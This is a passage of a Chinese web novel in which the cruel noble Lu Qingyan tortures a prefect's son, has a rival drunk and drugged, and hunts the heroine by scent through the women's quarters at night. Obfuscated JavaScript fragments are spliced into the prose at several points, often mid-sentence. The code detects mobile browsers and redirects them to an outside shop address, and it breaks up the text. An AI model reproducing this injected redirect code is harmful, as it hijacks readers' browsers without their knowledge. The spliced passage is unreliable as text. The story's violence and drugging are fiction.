l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572397|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逛花船,公孙文便脚不沾地地安排舞姬、美食,恨不得将这位爷溺死在扬州府的温柔乡,好教他再也想不起姚公子那档子事来。 公孙文还以为自己的计策起了作用,没想到陆青檐兴致寥寥,事到如今,还是想起了这件事来。 公孙文支支吾吾:“姚公子病了,故而不能赴宴。” 连一句“改日”的托词都不敢提。 陆青檐说:“病了?” 邓显插话说:“我怎么记得,傍晚还见姚公子路过呢?让我想想,在何处见过他呢……” 扇子轻敲掌心,邓显笑道:“想起来了,可不就是一丝湖,姚公子也在这里逛花船呢!” 这兴高采烈的语气,公孙文快要给他跪下了。 “这,想来是看错了……” “带上来。” 带上什么? 公孙文朝门口一看,吓得瘫坐在当场。 一身横肉的汉子走进来,手上拖着麻袋,在地上拉出一条血线。 待他走近了,公孙文发现,那哪是麻袋,而是个活生生的人! 那人血肉模糊,像条快要溺死的鱼在地上扑腾。 姚卓,这是姚公子姚卓! 陆青檐推开琴,走到麻袋旁蹲下来,取下堵嘴的破布,笑着问:“姚公子,如今还想邀我登船夜话吗?” 姚卓的眼珠瞪得大大的,也不知是被怎么收拾了一通,全然不见往日扬州府无法无天的小霸王模样。 “长公子!长公子我错了,求你饶了我的狗命!” 姚卓滑稽地拱起来,将地板磕得咚咚响。 血星溅到陆青檐的鞋面上,他不耐烦地皱眉,一脚将姚卓踢开。 姚卓转而求公孙文:“世伯!世伯救我!” 公孙文抖着声音开口:“长公子,看在姚知府的面上……” 陆青檐用布巾擦着手:“我这已经是看在知府的面子上了,只要他一根手指,而非要他一条手臂,你占了天大的便宜。” “邓爷,邓爷……劳你说情。” 公孙文丧着脸朝邓显,他实在没想到,这群人有这么大的胆子,连知府的儿子都敢下手。 可他不似姚知府,他看得清楚,即使他们这么做了,也不会有任何后果。 邓显叹气,这位白面书生看起来像一位语重心长的先生:“公孙通判,你自己心里清楚,姚公子做了什么。” 公孙文是知道。 回去后,他立刻打听了姚公子四月二十七日的行程。 姚卓那日外出游玩,撞船邀人不成,趁他们靠岸投宿时,指使家丁烧了船,还联合店家给吃食下药,夜深人静时往屋子里吹迷情香…… 真真色胆包天! 公孙文正是知道姚卓的德行,所以才着人盯着陆青檐几人的一举一动。 万幸,姚府的下人说姚公子方外出游玩,好几日才回来。 可他没想到,除了那个带刀剑的护卫高手,竟还有一个昆仑奴藏在暗处。 陆青檐早就捉了姚卓,坐在这里看戏一般,欣赏他诚惶诚恐的模样。 这样多智近妖的年轻人,残忍且狠毒。 察觉到他的视线,陆青檐灿然一笑,露出几分独属于少年的天真神色: “世伯,为何这么看我?” 他学着姚卓的模样叫他,真教人毛骨悚然。 此刻,鸨母忽然在外面问:“各位爷,有一个叫施茂林的,说是来找陆公子,可要放他进来?” 施茂林? 公孙文记得那对野鸳鸯,是陆府那个名为妙仪的女子的姘头。 11. 第 11 章 施茂林心情忐忑,等了一刻钟。 立在门口的鸨母见了他,不知怎么,跟见了救命恩人一样。 他方报上自己的姓名,鸨母便迫不及待地打破了船内的平静。 一刻钟后,里面有人声邀他进去。 施茂林紧张地入内,发觉船内陈设无比华贵,桌上摆着珍馐美食,桌前的富贵公子和老爷们正襟危坐,连身边的花娘都规规矩矩。 不愧是大户人家。 施茂林暗叹一声,向座中诸位抱拳:“江都施茂林见过诸位贵人。” 许久,无人应他。 施茂林抬头,席中人仿佛在走神一般,俱都看着他。 其中一位年轻的公子哥更是失礼地盯着他看,不知在想什么。 那视线居高临下,是专属于世家公子哥的打量。 那视线让施茂林觉得,他并不是在看一个人,而是在看一件有意思的玩具。 施茂林浑身不适。 不过这公子哥容颜俊秀,乍一看有种雌雄莫辨的美,应是小辈,难怪失礼。 施茂林不与他计较,视线在宴席众人身上一一打量过,鼻青脸肿的,不是。 站着的,一个疤面,一个打扮奇异,也不是。 蓄有短须,更不是。 施茂林于是对邓显躬身一礼:“见过陆公子,在下施茂林,是陆昂介绍我来见您的。” 噗嗤一声。 那位小辈公子哥笑得喘不过气,施茂林奇怪地看着他,面前这位也笑了: “我不是陆公子,他才是。” 顺着他所指方向,施茂林看到了那位小辈。 施茂林一愣,回过神后面露尴尬:“对不住,陆兄,你面相年轻,我还以为你只有十七八岁,不想……” 不想竟是陆昂的兄长。 陆昂如今十九岁,这位实在长得不像陆昂的兄长,不过就算他比陆昂大,应该也大不过他。 为了妙仪,他已然等了三年,因此痴长旁人几岁。 “陆兄?” 陆公子重复了一遍,笑得更加开怀。 “大胆!” 竟敢和陆青檐称兄道弟! 公孙文有意卖好,却被陆青檐轻飘飘地看了一眼,顿时不敢发作了。 施茂林犹豫着问:“我、我说错了吗?” 先前认错的那位公子,看着他,嘴角带着奇异的笑。 不止他,蓄有短须的那位,疤面护卫,鼻青脸肿的那位,也都露出了奇怪的表情。 那应该不是笑。 施茂林忐忑不安。 下一刻,年轻的陆公子突然笑开了,以一副平易近人、甚至是有些亲切的语气说:“你没有说错,我正喜欢别人与我称兄道弟。你就是子扬介绍过来的朋友?果然如他说的一样,英武不凡。” 施茂林不好意思地挠头:“承蒙子扬和陆兄弟看得起我,某其实平平无奇。” “我名陆青檐,这位是世伯、世兄,和邓显。” 陆青檐态度温和,对他如对待一个真正的兄长。 施茂林放松下来,笑着一一叫过,说:“青檐兄弟。” 陆青檐笑意盈盈:“来,我们喝酒。” 鸨母招呼丫鬟送上美酒,动作迅速。 姚卓安静如鸡地低着头,忽被点到名字。 陆青檐叫他:“世兄你过来,与我们一起喝酒。” 姚卓连滚带爬地过去。 . 施茂林被安排在陆青檐身边的位置。 这位高门公子哥比子扬还要健谈,施茂林说的每一句话,他都能接上,他懂自己的抱负,懂自己的不甘,对自己的追求表示支持。 姚卓在一旁应合。 施茂林觉得,自己与陆青檐相见恨晚。 短短半个时辰,施茂林对陆青檐的称呼,已从“青檐兄弟”变成了“青檐”。 青檐说:“酒逢知己千杯少,施兄请痛饮,美酒美人要多少有多少。” 沉寂的舞姬们鱼贯而入,热闹地跳起来,转动的裙摆如盛开的花朵,水袖飘逸地甩动着。 陆青檐挑着酒壶,走入跳舞的舞姬中,一扯最中央的舞姬水袖。 那女子被他扯得一个踉跄,推到施茂林怀里:“这个身姿妖娆,让她陪你。” 施茂林受惊般地站起来,推开那女子。 陆青檐问:“施兄弟,怎么了?” 施茂林正色:“青檐,我已有未过门的妻子了,最快半年后就要成婚。我答应过她,不再醉酒,今生也只有她一个女人。不能食言,否则就对不起她。” 青檐一笑,正要说什么。 外面忽然有护卫走进来,往桌上放了个什么。 施茂林的注意力被吸引过去:“青檐,这是何物?” 青檐将那东西挑起来,说:“或许是……荷包?里面还有一封信。” 施茂林想到了妙仪,调笑说:“该不会是你心上人的情信?” 陆青檐将荷包里的信取出,抖开,又看到熟悉的簪花小楷。 看完了信,他饶有兴致地翻腾荷包,说:“谁知道,往日只送信,如今却多了一个荷包……为何这么丑?” 陆青檐看清楚荷包上的四个字,眉头蹙起,翻开内里,是精细的针脚和绣纹。 荷包的精妙做工,信上的簪花小楷,与荷包上丑陋的四个字,实在不配。 施茂林没有看到陆青檐面上的阴沉,热情地介绍:“女子送荷包,上面绣字,意为示爱,果真是你心上人送的情信!不过这个倒少见,因为绣字是在荷包内里……” 就和妙仪送他的一样。 一旁陪着的姚卓紧贴着墙根,心道,这粗鄙的大老粗可真没眼色! 船内气氛如山雨欲来前的平静,蓄势待发。 这时,施茂林“咦”了一声:“这荷包的针脚,倒有些像我未婚妻子的手法,还有这信上的字……” 陆青檐突然出声:“你未婚妻?” “是啊。” 施茂林去摸衣襟,忽地顿住,不好意思地挠头:“此物是私密之物,不便示人。” 许久,青檐捏着荷包缓缓地笑,话题一转: “施兄,你不是想中武举,飞黄腾达吗?我这有一个好办法能帮你,只是这办法不便清醒时说,最好是趁醉酒时,我说醉言醉语,你听过就算。” 青檐说:“我与世兄愿陪你同醉,喝与不喝,你自己选。” 丫鬟们端上来十坛酒。 施茂林知道世家规矩多,好办法确实不足为外人道。 青檐愿意借醉说出,说明他把自己当成了好兄弟。 可是,他怎么能对不起妙仪? 他答应过她的。 施茂林犹豫:“这……” 青檐的声音蛊惑一般,响在耳边:“喝完这些酒,我就能帮你。” 姚卓揽住施茂林的肩膀,哥俩好地连声劝:“兄弟,只是小饮几杯,这酒不醉人,不信你尝尝。” 半个时辰后,施茂林已停不下来了。 这酒中放了什么,竟如此美味?富贵人家的酒可真好喝! 或许喝光了十坛酒,或许喝了更多,施茂林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572398|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷糊中,看到鸨母指挥丫鬟们继续往船内搬酒。 “青檐兄……” 青檐的声音懒洋洋的:“嗯?” 真的不能再喝了。 青檐一笑,看向姚卓。 后者瞬时领会意思,递了酒杯到施茂林的嘴边:“兄弟,我就说这酒不醉人吧,你分明还清醒着。来,再多饮几杯!” 施茂林被迫喝着,连眼睛都睁不开。 倘若他神智清醒,就会发现,热闹的歌舞中,宴席众人俱都安静。 他口中的青檐兄弟,更是一语不发,看笑话一般看着他。 事到如今,姚卓依旧一头雾水,公孙文却反应过来了—— 陆青檐在戏弄这对互定终身的野鸳鸯。 约他一丝湖会面,就是打着这样的主意。 这位丈夫对未婚妻子的许诺,他要让他一一打破,看看这对佳人,是否真的情深似海,永远不变。 可就算这是真的,陆青檐也一定会让它变成假的。 除了金银珠宝,这也是能引起他兴趣的事情之一。 此时,醉酒的施茂林神志不清地唤起了未婚妻子的名字:“妙仪,妙仪……” 陆青檐嗤笑着站起来,仿佛看到了施茂林明日酒醒后的悔恨表情。 倘若他告诉他,不会帮他,都是骗他的,他脸上的表情一定很精彩。 真是迫不及待想看到了。 施茂林又叫:“妙仪……阿昙。” 陆青檐原本想离开,听到这句,忽然顿住,缓缓地转过身来。 他嘴角的笑意消失了。 公孙文和姚卓战战兢兢地往后缩,狼犬在船中巡视。 舞姬们察觉船中气氛不对,犹豫着停下来,站成一排。 片刻后,舞姬们被扯着水袖,发出一声短促的尖叫。 她们被那个叫雷奴的昆仑奴拖着头发,狠狠地按在施茂林怀里。 . 施茂林做了个梦,青檐在劝酒,他想摆手。 这时,忽然有两个温软的身体钻入他的怀里,冰凉的手在他衣襟里滑动,像蛇一样。 有声音娇声软语地哄着他,不时往他耳朵里吹气:“公子,热不热?” 他已经有未婚过门的妻子了,不能对不起她! 施茂林再次想要站起来。 身后,邓显按着他的肩膀坐回去,施茂林站不起来了。 衣襟里的荷包掉在地上,被邓显捡起来,奉上去。 荷包是封死的,陆青檐毫不怜惜地将荷包撕开,丢弃里面的棉花和香料,去看内里的绣字—— 昙。 又是昙! 字迹是簪花小楷,如施茂林所说,竟真的很像。 陆青檐将荷包丢入湖中,冷然说:“去查这个叫妙仪的女人底细!” 离去前,他看了眼施茂林。 两个舞姬水蛇一般缠着他,衣服松松垮垮。 陆青檐讽笑一声,对姚卓说:“这几日,好生款待他。” 一行人离去后,姚卓留在船内,瘫坐在当场。 有舞姬贴上来替他揉胸口,姚卓一把揽住。 走时,邓显嘱咐,长公子要他这几日带着施茂林,好好地款待他。 他会的,无非就是吃喝嫖赌几样。 想了想,鼻青脸肿的姚卓揽住舞姬起身,唤鸨母过来:“给这位爷点一炷牡丹香助兴,还是个童男,今夜着人好好给他开开荤!” 牡丹香,迷情香。 鸨母一脸谄媚地笑:“姚公子放心,舞姬身上配着香,早已起作用了。” 12. 第 12 章 看着轿子进了陆府,公孙文才真正松了一口气。 可今晚到底没伺候到长公子的心坎上,第一天就这样,往后可怎么好! 公孙文急得团团转,叫住邓显,请示他的主意。 邓显想起公孙文送到他房里的五百两银票。看在五百两的面上,他提点一句罢了。 “通判大人,长公子喜欢有意思的人与事。眼下有意思的事已经有了,就缺一个有意思的人。” 邓显撑开扇子,遮住半张脸,神秘一笑:“最好是一个女人,长公子如今还没开过荤,你若是能找到一个让他有兴趣的,便算一桩前无古人的功劳!” 公孙文十分惊讶。 这何止是一桩功劳,或许是通天的梯子! 不是没人送过女人给陆青檐,可他总是瞧不上。 邓显也送过几个,试图琢磨过他的喜好,结果一无所获。 或许是因为公子得的那怪病,也或许不是。 总之,他不喜欢人近身。 若公孙文真有能耐,让陆青檐开了先例,那往后就富贵无忧了。 毕竟长公子虽喜怒无常,这种脾性却少见。他对付不了长公子,用不见得对付不了他身边的女人。 拿捏住这女人,吹一吹枕头风,总是轻而易举的事。 公孙文虚心拱手:“敢问邓先生,长公子喜好什么样的女人,下官寻人,也好有个章程。” “这我就不知道了。” 他若是知道,早就送上三五八个了。 邓显转身进门,忽地想起来,虽然他不知道长公子喜欢什么样的人,可他知道长公子讨厌的人。 一个名为姜昙的吴江捕快。 提起来时,咬牙切齿。 那可真是讨厌至极。 公孙文一头雾水站在原地。 今晚一丝湖上,几乎半个扬州的美女都在这,陆青檐竟一个都看不上。 这么眼高于顶,中意的女子那得长什么样! 那样的女子,岂是他一个小小的通判能寻到的?更何况,这扬州有名的女子,都被姚卓筛过一遍,蹂躏了个干净。 陆青檐能捡姚卓剩下的? 公孙文为难地揪胡子,忽然灵光一现,脑中闪现出一个名字。 妙仪。 对了,妙仪! 从见面到现在,若说对女人有兴趣,他只听到过这一个名字! 公孙文连忙指使小厮:“去陆府二奶奶那儿问,府上可有一个叫妙仪的丫鬟,问清楚,尽快来回话!” 小厮一溜烟跑得飞快。 公孙文坐轿子回去。 回去路上,府里的管家做贼一样凑上来:“老爷,淮安府那位托你问的事,您问过没有?” 淮安府那位…… 公孙文想起来,那是淮安府下辖的盐城知县。前几日孝敬了两千两银子,一路亲自从盐城揣到扬州,现正在客栈住着。 “他所求何事?” 管家说:“老爷忘了?盐城那姜知县贪墨,叫锦衣卫拿住了把柄,那头还没查到他,他便吓得逃到这来。” 公孙文想起来了。 锦衣卫是首辅一党的,许道成近来不知怎么,突然查起了前几年的圈地案。 拔出萝卜带出泥,还未查出眉目,就先摸到了盐城知县这处。 许党一手遮天,他们要查的人,也只有身为政敌的丞相闫慈一派能救。 姜知县倒是个聪明人,知道来找他向陆青檐求救,可他自己都是泥菩萨过河,又怎么管得了旁人? 公孙文说:“让他从哪来回哪去!” 管家讪讪退下,拿人手软,他也收了姜知县不少银子。 公孙文满脑子都是让陆长公子感兴趣的女人,急着掀帘问:“去陆府的小厮回来没有,去了这么长时候?” “回来了,回来了。” 小厮气都没喘匀实,急急忙忙地说:“问清楚了,二奶奶说府上没有这样的丫鬟。但有一个叫妙仪的外客,跟大姑奶奶的丫鬟差不多……” 小厮竹筒倒豆子,道清在陆府听到的。 听完,公孙文若有所思:“姓姜,姜妙仪。哎,那姜知县竟也姓姜,和姜妙仪同是淮安府盐城人氏。” 竟这么巧! 公孙文连忙唤管家来:“那姜知县可有女儿?” 孝敬银子的官员,都由管家调查清楚籍贯、家世等信息,全都记在册子上。 管家翻开册子,公孙文一把抢过来,姜知县这一页,明明白白写着: 长女姜妙仪,幼时失恃。 太好了,太好了! 这小娘子幼时死了娘,外祖一家也都死绝了。姜知县续弦不到一年,就生下了一个儿子,这显然是妻子没死的时候,就有了外室。 如此说来,这姜妙仪竟与孤女无异,最好拿捏不过! 真是天助我也! 公孙文喜滋滋地让管家传话:“告诉那姜知县,本官邀他明日一叙。” . 窗外一片漆黑,可紫珠依旧没有回来。 姜昙的心渐渐沉下来,最终心一横,拿起灯笼出门。 出门时,遇到两个丫鬟。 “姜姑娘,这么晚了,往哪去?” 姜昙认出这是她送过药囊的丫鬟,与她交情尚可。 姜昙焦急地问:“你们可见到了紫珠,她半个时辰前出门,一直未回来。” 一个丫鬟正要开口,另一个抢先道:“看见了,紫珠往那边去了,说是……在找什么草药。” 丫鬟指了个方向。 紫珠跟着她认得一些草药,这像是她会做出来的事。 姜昙匆匆道谢离去。 待她走远,先前未说话的丫鬟问同伴:“那边闹鬼的院子,你作弄她干什么,往日她不是送过药囊,模样还挺精巧?” 丫鬟冷哼一声:“再精巧有什么用,周小姐给的是银子!再说了,只是不让她好过,又不闹出人命,怕什么!” . 姜昙走到了伸手不见五指的地方,灯笼里的烛火微如萤火,只照得清脚下前方的地面。 往远处看,是浓墨的黑色。 姜昙停住,她是不是走错了,要不就是丫鬟指错了方向。 再往前走,是淹到小腿的草丛。现在是夏日,里面恐怕有蛇。 姜昙握紧了腰间的杜衡香囊。 杜衡祛风散寒,活血止痛,还可缓解蛇咬伤。 姜昙默背了一遍杜衡的功效,深吸一口气,踏入草丛。 . 邓显拍到面上,伸手一看,掌心都是血。 这蚊子也忒毒! 邓显摇摇头,将衣袖裹紧了些。 刘武神出鬼没地出来:“找到了,杜衡香。” 说着,他就要往小院去,被邓显拦住。 刘武说:“杜衡香在陆府红叶苑,公子说,找到立刻报。” “劝你最好不要进去。”邓显说:“今晚长公子喝了酒。” 每次长公子喝酒,都会用些助兴的药物。心情再好,也会变差。 发疯或发狂,都是有的。 邓显有一次误闯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572399|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就看到了血红的眸子。 惊醒般地猛然看过来,眼中无一丝感情和情绪,简直不像人,而是别的什么怪物。 最后是如何失态,连滚带爬地逃出来,邓显不愿回想。 刘武也见过这场景,停在小院外。 雷奴指了指眼睛。 这五官健全的昆仑奴听得懂中原话,却不会说,只用动作表达意思。 邓显明白他的意思,摇头说:“今晚不会。” 因为,用不到。 . 陆青檐靠坐在凉亭的栏杆上,缓缓吐气。 呼吸像发烫的烙铁,浑身像是煮在沸水里,陆青檐仰头吸了口冷气,扯开衣襟,露出大片胸膛,犹嫌不够。 热。 他拿过一旁的酒壶,倾倒而下,一股凉意从额头浇至脖颈。 短暂的凉爽过后,还是热。 陆青檐站了起来,脚下不稳,一个踉跄。 酒壶倒在椅上,酒水滴在地上。 “少爷。” 随着水滴轻响,一个声音在耳边响起,轻柔如斯。 陆青檐缓缓侧首,十七岁的姜昙头戴网巾看着他。 他亦一眼不错地打量姜昙。 十七岁的姜昙,头发梳得一丝不苟,正如他一丝不乱的衣领一般。总是掩到脖颈最上方,连喝醉的时候也不肯敞开。 哪怕用了一晌贪欢,也严严实实地捂着,忍着快意看着酒席中狂放浪荡的公子哥们,像是看着圈里的一群畜牲。 姜昙温声说:“少爷,你又喝醉了。” 陆青檐静看着他,由着姜昙伺候自己坐下,褪去外衣,擦汗。 接着,他猛然握住姜昙的脖颈,狠狠地将他掼在柱子上。 “姜昙。”陆青檐咬牙切齿地笑:“这么多年,你竟还敢来我梦里!” 姜昙面色胀红,不停挣扎。 陆青檐快意地看着他在自己手中断了呼吸,感受到药力逐渐挥发,浑身畅快。 “姜昙啊姜昙。” 陆青檐看着扯乱了“尸体”的衣领,他要清醒,他偏要他一起沉沦! 忽然,他顿住了。 尸体穿的衣服上,绣着大片的荼靡花纹,和他身上的一模一样。 三年前以身诱他入局,到死牢里看身为阶下囚的他,姜昙穿的也是这件衣裳。 姜昙怕死。 以为穿这件衣裳,就能让他念旧情,不杀他。 “尸体”又活了过来,姜昙惊恐地看着他。 陆青檐怒气再生,用力掐住他的脖子。 “啊——” 不是幻象! 陆青檐蓦地睁眼,是女人的叫声,不是假的。 可他什么也没看清。 周围很快安静下来,那女人逃了。 “来人!” 门外的人早就听到动静,哗啦啦进来。 陆青檐扬声问:“刘武!之前让你查的人,在何处?” “在绿柳苑中,但天色已晚,又是女子内苑,不便去寻。再给属下一日,明日给公子答复。” 明日? 陆青檐闭上眼睛。 方才有风吹拂,他闻到了熟悉的杜衡香。 那个女子,从内苑出来了。 或许不用明日。 陆青檐吹了声哨子,马儿跑到他身边。 他翻身上马,看向远处,无神的眼中一片虚无。 “现在就去找。”陆青檐深嗅风中的气味,杜衡香还未散。 “她跑不远,现在应还在外苑。” 13. 第 13 章 姜昙耳边是呼啸的风声。 她从未跑这么快过,心脏更是快得要跳出来。 可是她忘了,人在极度恐慌之时,不能跑得太快。她穿的又是又是绣鞋,很快摔倒在地。 因跑得太快而急速跳动的心脏,促使撑在地上,生出恶心感的干呕。 背后远处,是吵嚷的动静和灯笼的光亮,有人在找她! 她得尽快离开! 忽然有一个女声问:“谁在哪?” 看着她抬头,那女子提着灯笼凑近,看服饰是内苑的丫鬟。 “姜姑娘?” 丫鬟认得她,说:“你不记得我了?我是青柳院的粉黛,向你讨过药囊,你怎么在这里?紫珠正找你呢。” 那两个丫鬟骗了她,紫珠根本没往这边来。 姜昙勉力从地上爬起来,强自镇定说:“我来采野生的药草,不想迷了路,你带我出去吧。” 粉黛连连答应:“我知道有一条近路,我扶你从这边走。” “好。” 离去前,姜昙不动声色看了眼身后。 跨过这道门,就是女子居住的内苑。 方才遇到的是一个男人,内苑禁止外男入内,他绝不可能再追来。 但姜昙想错了。 不久之后,举着火把的护卫碾碎她跑过的草地,停在了内苑与外苑这道门前。 刘武说:“公子,门锁着。” 坐在马上的人居高临下,眼中映着熊熊火光,只说了一个字: “劈。” 一声令下,那道门已变成了马蹄下的碎屑。 一队举着火把的人马,毫不顾忌地往绿柳院去。 . 紫珠是被周蝉衣叫走的。 “有一个丫鬟来找,说是茵姑娘的命令,说十万火急。奴婢还没来得及和姑娘说一声,就被匆匆带走。结果等了半天,竟然是周小姐,奴婢这才知道是被骗了……姑娘的脚踝疼不疼?” 周蝉衣是在报复上次寿宴的事。 姜昙由着紫珠服侍摸药油,边想着周蝉衣接下来可能的小动作。 这时,原本寂静的外面忽然传来喧嚣惊惶的人声。 “天呐,这可是女子内苑,怎么能让外男进来!” “快去找管事妈妈来!” 姜昙内心生出一股不妙的异样:“外面发生了什么事?” 紫珠出门去看,片刻之后跑回来,面色慌张:“姑娘,有外男闯进来了,到处抓人,快躲好!已经有人去找管事妈妈了,等人来了我们再出来!” 门外是女子的尖叫声。 是先前在闹鬼的院子遇到的男人!他们许是来抓她的! 短短瞬移,姜昙脑中思绪万千。 闹鬼的院子一片荒芜,又接近内苑,怎么可能有男人在那,还是深夜! 唯一的可能,就是陆府安排的客人,离得这么近,还不是一般的客人,而是陆家人! 可是偏偏安排在闹鬼的院子附近—— 陆府不喜欢他,或者说,很轻视他,以至于连内苑的丫鬟都不知道他住在那里,而故意给自己指错路。 这人是……陆庸。 陆青檐! 她今晚遇到的人,是陆青檐! “姑娘快躲起来!”紫珠焦急地推她。 没用的,姜昙心道。 他能堂而皇之地带男人到内苑来,区区一个管事妈妈怎么拦得住他? 闭眼一瞬,姜昙想到了办法: “紫珠!去找陆大姑奶奶,就说茵姑娘的女儿家私物在这里,若是被人搜出来,就会坏了名声。将此事禀报给她,速速请人来处理此事!” 紫珠看看姜昙,最终还是把她丢下,趁着夜色去红叶院。 红叶院是老夫人的院子,从前沈芳茵住在绿柳院正院,姜昙住在偏院。 如今沈芳茵搬到了红叶院,绿柳院是空的,陆青檐的人畅通无阻,很快就能到她这里。 姜昙深知,自己逃不过去,待会儿也会像其他人一样,被拉扯出去。 她脚上有伤,无能为力,只能寄希望于紫珠。 绿柳院中,灯火通明。 火把熊熊燃烧着,照亮了一院子丫鬟们恐惧的脸庞。 丫鬟们看着面前围成铁桶的壮硕护卫们,害怕到不敢出声。 管事妈妈被堵嘴绑了起来,先前有撒泼打滚的婆子,也被带了下去,不见人影。 她们生怕自己就是下一个,只能围成一团,瑟瑟发抖。 “公子,人都在这了。” 围成铁桶的护卫们让开一条道,人群之后缓缓行来一匹高头大马,马上坐着一个人。 陆青檐来了。 姜昙在人群后悄然抬头,看了一眼,很快低下去。 陆青檐说:“有逆贼逃窜入府,为保陆府平安,捉住逆贼,我不得不出此下策,各位不要害怕。” 一个疤面护卫搀他下马。 陆青檐坐在下人给他搬的椅子上,被火光照亮的半张侧脸,不辨喜怒。 “开始。” 一片寂静中,陆青檐淡淡说道。 这句话像是打开了什么开关,护卫捉住丫鬟,不顾哭闹,一个一个地强硬拉扯到陆青檐身前。 陆青檐微蹙眉头,似是在辨认什么东西。 很快,丫鬟被丢开,另一个丫鬟被抓上前。 就这样,十几个丫鬟轮番上前,却都被丢开。 姜昙忍着抗拒的本能观察那张脸,陆青檐究竟是怎么分辨的? 遇到他的时候黑灯瞎火,但并不是没有亮光,姜昙手中始终有一盏灯,照亮了自己的脸,看不清别人的脸。 按理说,陆青檐多少应该看到了她的长相才对。 为什么是这样的辨认方式?让人一一到他面前,不像是懒得纡尊降贵走动,而是……看不见。 对了,他看不见! 所以在亭子里遇到他时,他根本没点灯,一盏也没有! 可他白天明明是正常的。 姜昙想到了王婆子说的话,她说陆青檐身患怪病,支支吾吾,却说不清什么病。 陆青檐白日和寻常人一样,但入夜便不能视物,和盲人无异。 原来他患的怪病,是眼疾。 所以他认人的方式,是靠鼻子嗅。 想到这里,姜昙迅速而隐秘地褪去外衣,将身上的药囊都取下,兀自嗅着身上的气味。 这样远远不够,药囊经年累月地戴着,味道早就浸透到了身体里。 除非沐浴更衣,用新的气味来遮,否则还是能嗅出端倪。 又有几个丫鬟被丢开,姜昙身前只剩下不到十个人。 不出一刻钟,她就会被发现! 姜昙暗暗焦急。 这时,紫珠回来了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575303|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“陆大奶奶有话说!”紫珠边喊着,边搀扶着一个老嬷嬷出现。 在场的丫鬟都认得,这是陆秋水的奶嬷嬷孙妈妈,也是陆老夫人年轻时身边的得力大丫鬟。 陆府崛起几十载,孙妈妈始终跟着一路过来,是陆府德高望重的老人了,就连国公爷小时候,她也是一并照看过的。 何况是国公爷的庶长子。 姜昙略松了口气。 孙妈妈不仅代表陆秋水,某种意义上,也代表陆老夫人。 寿宴之上,陆青檐被陆老夫人训斥一通,失落退去。 这一次,他应该也会退去。 毕竟,他只是一个小小的庶长子。 孙妈妈冷眼一扫,盯紧陆青檐:“庸公子,外男入女眷的院子,从陆府建府以来,从未出现过如此荒唐之事!何况是未婚女眷的住处,这不合规矩!” 陆青檐侧首,眼神平静无波。 他当然是看不见的,可孙妈妈不清楚,在她眼里,这位卑贱无礼的庶子对她的话没有恭敬的意思,是在向她示威。 孙妈妈说:“庸公子,老身劝你,速速带人退出去。就算是国公爷在此处,也不敢对老夫人无礼!” 陆青檐蓦地笑了。 “好。” 孙妈妈想着,终归这庶子还是忌惮老夫人,传闻中他在望京城传出来的精妙文章,不过是虚名罢了。 说到底,只有老夫人的嫡孙,陆大公子陆昇才是真正的天才。 孙妈妈得意一笑,可下一刻,她愣住了。 “庸公子,你这是什么意思!” 孙妈妈被抓了起来,又被塞住了嘴。 陆青檐蓦地笑了: “有几分能耐,能想到用旁人来压我,可你猜错了,我不吃这一套。” 姜昙震惊地愣住,陆青檐竟不怕得罪陆老夫人和陆秋水! 寿宴之上,他竟是装出来的! “我再给你五息时间,自己站出来,若让我自己逮到你,就不是这么简单的事了。” 下人收了椅子,陆青檐翻身上马,他已等不及了。 “五。” “四。” 姜昙用力抠起泥土,心中挣扎。 “三……” “庸公子。”一个丫鬟从姜昙身边不远处站起来,说:“别为难其他人,你要找的人,是我。” 姜昙心脏狂跳。 她慢慢抬眼,发现那个丫鬟她竟认识,叫做粉黛,今晚给她引路的人。 有护卫大步走过来,将粉黛扯到陆庸马前。 粉黛仰头,怯怯叫了一声:“庸公子。” 陆庸弯腰,精准地揪起粉黛的衣襟。 他低着头,凑得很近,嗅来嗅去是在闻味道。 片刻后,他抬头说:“你竟真敢站出来,好胆。” 粉黛勉强笑了一下:“怎敢让庸公子费心寻我,奴婢只是茵姑娘手下的一个小丫鬟罢了。” 陆青檐一笑,扭头对孙妈妈说:“告诉表妹一声,这个丫鬟我要了。” 一直待他们离去,姜昙的心跳还未平息下来。 紫珠过来搀起姜昙:“姑娘,咱们快进去吧!” 姜昙浑身冰凉,吐出一口气。 陆青檐的那张脸,今夜的一举一动,像极了宋庸。 陆府不能待了,姜昙心想,她要尽快离开陆府。 越快越好! 14. 第 14 章 翌日一早,陆秋水正在梳妆。 外面的婆子进来禀报:“姑奶奶,那个姓姜的姑娘求见,说是找你有事相商。您见不见?” 